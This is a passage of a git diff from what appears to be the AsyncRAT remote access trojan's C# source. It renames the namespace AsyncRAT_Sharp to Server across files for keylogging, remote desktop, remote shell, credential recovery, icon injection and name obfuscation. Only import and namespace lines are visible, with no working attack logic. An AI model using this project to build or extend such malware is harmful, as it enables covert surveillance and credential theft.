@@ -1,16 +1,16 @@
-using AsyncRAT_Sharp.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.Forms;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using System.Threading;
using System.Threading.Tasks;
-using AsyncRAT_Sharp.Helper;
+using Server.Helper;
using System.Diagnostics;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleFileManager
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs
similarity index 91%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs
index d7195a8..d504fd2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleKeylogger.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs
@@ -1,13 +1,13 @@
-using AsyncRAT_Sharp.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.Forms;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
class HandleKeylogger
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleListView.cs
index 9ecc36f..cd99f25 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs
@@ -1,12 +1,12 @@
using System;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using cGeoIp;
using System.Drawing;
using System.Windows.Forms;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleListView
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs
index 19169a6..0c29d3c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs
@@ -6,7 +6,7 @@ using System.Threading.Tasks;
using System.Windows.Forms;
using System.Drawing;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleLogs
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs
similarity index 88%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandlePing.cs
index 810c4e7..2301b2c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs
@@ -1,9 +1,9 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System.Diagnostics;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandlePing
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs
similarity index 93%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs
index 1d907c7..0aee30c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs
@@ -1,12 +1,12 @@
-using AsyncRAT_Sharp.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.Forms;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleProcessManager
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs
similarity index 93%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs
index 77f5af4..744a7ec 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs
@@ -1,5 +1,5 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.Drawing;
@@ -9,7 +9,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleRecovery
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs
similarity index 94%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs
index 413667a..b846271 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs
@@ -1,14 +1,14 @@
-using AsyncRAT_Sharp.Forms;
-using AsyncRAT_Sharp.Helper;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.Forms;
+using Server.Helper;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleRemoteDesktop
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs
similarity index 93%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs
index 5165ab9..b0ff3a4 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs
@@ -1,4 +1,4 @@
-using AsyncRAT_Sharp.Sockets;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.Drawing;
@@ -7,7 +7,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleReportWindow
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs
similarity index 86%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleShell.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleShell.cs
index bfe948c..a749d6f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleShell.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs
@@ -1,6 +1,6 @@
-using AsyncRAT_Sharp.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.Forms;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.Linq;
@@ -8,7 +8,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleShell
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
rename to AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs
index 5e15f83..6f599ba 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs
@@ -1,11 +1,11 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public class HandleThumbnails
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
rename to AsyncRAT-C#/Server/Handle Packet/Packet.cs
index ccc5eff..a5dd08a 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs
@@ -1,14 +1,14 @@
-using AsyncRAT_Sharp.Sockets;
-using AsyncRAT_Sharp.MessagePack;
+using Server.Sockets;
+using Server.MessagePack;
using System;
using System.Diagnostics;
using System.Drawing;
-using AsyncRAT_Sharp.Forms;
+using Server.Forms;
using System.Security.Cryptography;
using System.IO;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Handle_Packet
+namespace Server.Handle_Packet
{
public static class Packet
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs b/AsyncRAT-C#/Server/Helper/AsyncTask.cs
similarity index 83%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs
rename to AsyncRAT-C#/Server/Helper/AsyncTask.cs
index d4da210..f8f6919 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs
+++ b/AsyncRAT-C#/Server/Helper/AsyncTask.cs
@@ -1,5 +1,5 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.Linq;
@@ -9,7 +9,7 @@ using System.Windows.Forms;
using System.Threading;
using System.Diagnostics;
-namespace AsyncRAT_Sharp.Helper
+namespace Server.Helper
{
public class AsyncTask
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs
rename to AsyncRAT-C#/Server/Helper/CreateCertificate.cs
index dec34f1..0d6d09e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs
+++ b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs
@@ -15,7 +15,7 @@ using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.Helper
+namespace Server.Helper
{
public static class CreateCertificate
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs b/AsyncRAT-C#/Server/Helper/IconInjector.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs
rename to AsyncRAT-C#/Server/Helper/IconInjector.cs
index c20897c..5c1d6ba 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs
+++ b/AsyncRAT-C#/Server/Helper/IconInjector.cs
@@ -3,7 +3,7 @@ using System.Runtime.InteropServices;
using System.Security;
-namespace AsyncRAT_Sharp.Helper
+namespace Server.Helper
{
public static class IconInjector
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs b/AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs
rename to AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs
index 20c5032..760f762 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs
+++ b/AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs
@@ -1,7 +1,7 @@
using System.Collections;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Helper
+namespace Server.Helper
{
//support.microsoft.com/en-us/help/319401/how-to-sort-a-listview-control-by-a-column-in-visual-c
public class ListViewColumnSorter : IComparer
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListviewDoubleBuffer.cs b/AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs
similarity index 93%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListviewDoubleBuffer.cs
rename to AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs
index fa02fd7..fc3ed44 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListviewDoubleBuffer.cs
+++ b/AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs
@@ -6,7 +6,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Helper
+namespace Server.Helper
{
public static class ListviewDoubleBuffer
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs b/AsyncRAT-C#/Server/Helper/Methods.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs
rename to AsyncRAT-C#/Server/Helper/Methods.cs
index 082665f..9840d6b 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs
+++ b/AsyncRAT-C#/Server/Helper/Methods.cs
@@ -4,7 +4,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Helper
+namespace Server.Helper
{
public static class Methods
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ReferenceLoader.cs b/AsyncRAT-C#/Server/Helper/ReferenceLoader.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/ReferenceLoader.cs
rename to AsyncRAT-C#/Server/Helper/ReferenceLoader.cs
index 2f2f2d9..b07f48f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ReferenceLoader.cs
+++ b/AsyncRAT-C#/Server/Helper/ReferenceLoader.cs
@@ -6,7 +6,7 @@ using System.Reflection;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.Helper
+namespace Server.Helper
{
public class ReferenceLoader : MarshalByRefObject
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/BytesTools.cs b/AsyncRAT-C#/Server/MessagePack/BytesTools.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/BytesTools.cs
rename to AsyncRAT-C#/Server/MessagePack/BytesTools.cs
index 8ca0275..5bdadb9 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/BytesTools.cs
+++ b/AsyncRAT-C#/Server/MessagePack/BytesTools.cs
@@ -4,7 +4,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.MessagePack
+namespace Server.MessagePack
{
public class BytesTools
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs b/AsyncRAT-C#/Server/MessagePack/MsgPack.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs
rename to AsyncRAT-C#/Server/MessagePack/MsgPack.cs
index 704bb14..2f848cd 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs
+++ b/AsyncRAT-C#/Server/MessagePack/MsgPack.cs
@@ -19,7 +19,7 @@ using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.MessagePack
+namespace Server.MessagePack
{
public class MsgPackEnum : IEnumerator
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Server/MessagePack/MsgPackType.cs
similarity index 91%
rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPackType.cs
rename to AsyncRAT-C#/Server/MessagePack/MsgPackType.cs
index 8a47d25..8235457 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPackType.cs
+++ b/AsyncRAT-C#/Server/MessagePack/MsgPackType.cs
@@ -4,7 +4,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.MessagePack
+namespace Server.MessagePack
{
public enum MsgPackType
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/ReadTools.cs b/AsyncRAT-C#/Server/MessagePack/ReadTools.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/ReadTools.cs
rename to AsyncRAT-C#/Server/MessagePack/ReadTools.cs
index 274fef2..d17f2eb 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/ReadTools.cs
+++ b/AsyncRAT-C#/Server/MessagePack/ReadTools.cs
@@ -5,7 +5,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.MessagePack
+namespace Server.MessagePack
{
class ReadTools
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/WriteTools.cs b/AsyncRAT-C#/Server/MessagePack/WriteTools.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/WriteTools.cs
rename to AsyncRAT-C#/Server/MessagePack/WriteTools.cs
index 19414a3..12db4d5 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/WriteTools.cs
+++ b/AsyncRAT-C#/Server/MessagePack/WriteTools.cs
@@ -5,7 +5,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.MessagePack
+namespace Server.MessagePack
{
class WriteTools
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/ModuleDefMD.cs b/AsyncRAT-C#/Server/ModuleDefMD.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/ModuleDefMD.cs
rename to AsyncRAT-C#/Server/ModuleDefMD.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs b/AsyncRAT-C#/Server/Program.cs
similarity index 96%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Program.cs
rename to AsyncRAT-C#/Server/Program.cs
index 458049b..fe45bf3 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs
+++ b/AsyncRAT-C#/Server/Program.cs
@@ -12,7 +12,7 @@ using System.Windows.Forms;
This program Is distributed for educational purposes only.
*/
-namespace AsyncRAT_Sharp
+namespace Server
{
static class Program
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/AssemblyInfo.cs
rename to AsyncRAT-C#/Server/Properties/AssemblyInfo.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
rename to AsyncRAT-C#/Server/Properties/Resources.Designer.cs
index 276f628..6c9865f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
+++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs
@@ -8,7 +8,7 @@
//
//------------------------------------------------------------------------------
-namespace AsyncRAT_Sharp.Properties {
+namespace Server.Properties {
using System;
@@ -39,7 +39,7 @@ namespace AsyncRAT_Sharp.Properties {
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
- global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AsyncRAT_Sharp.Properties.Resources", typeof(Resources).Assembly);
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx
rename to AsyncRAT-C#/Server/Properties/Resources.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
rename to AsyncRAT-C#/Server/Properties/Settings.Designer.cs
index 3277dd5..7b9ebca 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
+++ b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs
@@ -8,7 +8,7 @@
//
//------------------------------------------------------------------------------
-namespace AsyncRAT_Sharp.Properties {
+namespace Server.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings b/AsyncRAT-C#/Server/Properties/Settings.settings
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings
rename to AsyncRAT-C#/Server/Properties/Settings.settings
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs
similarity index 85%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs
index d3de7e9..50e097d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs
@@ -1,11 +1,11 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Interfaces;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public class Base64 : ICrypto
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs
index e0130d1..0a21fa4 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs
@@ -1,10 +1,10 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Interfaces;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System.Collections.Generic;
using System.Linq;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public class ClassesRenaming : IRenaming
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs
similarity index 92%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs
index b7d8334..690e06e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs
@@ -4,7 +4,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
internal static class DecryptionHelper
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs
index fc36ff6..e957651 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs
@@ -1,10 +1,10 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Interfaces;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System.Collections.Generic;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public class FieldsRenaming : IRenaming
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs
index 8a53f8d..532873c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs
@@ -4,7 +4,7 @@ using System.Collections.Generic;
using System.Linq;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public static class InjectHelper
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs
similarity index 89%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs
index f65f85e..c759f7b 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs
@@ -1,8 +1,8 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Interfaces;
using dnlib.DotNet;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public class MethodsRenaming : IRenaming
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs
index 0b3b041..957eb25 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs
@@ -1,4 +1,4 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Interfaces;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System;
@@ -7,7 +7,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public class NamespacesRenaming : IRenaming
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs
similarity index 84%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs
index 9790b6a..b7f0b36 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs
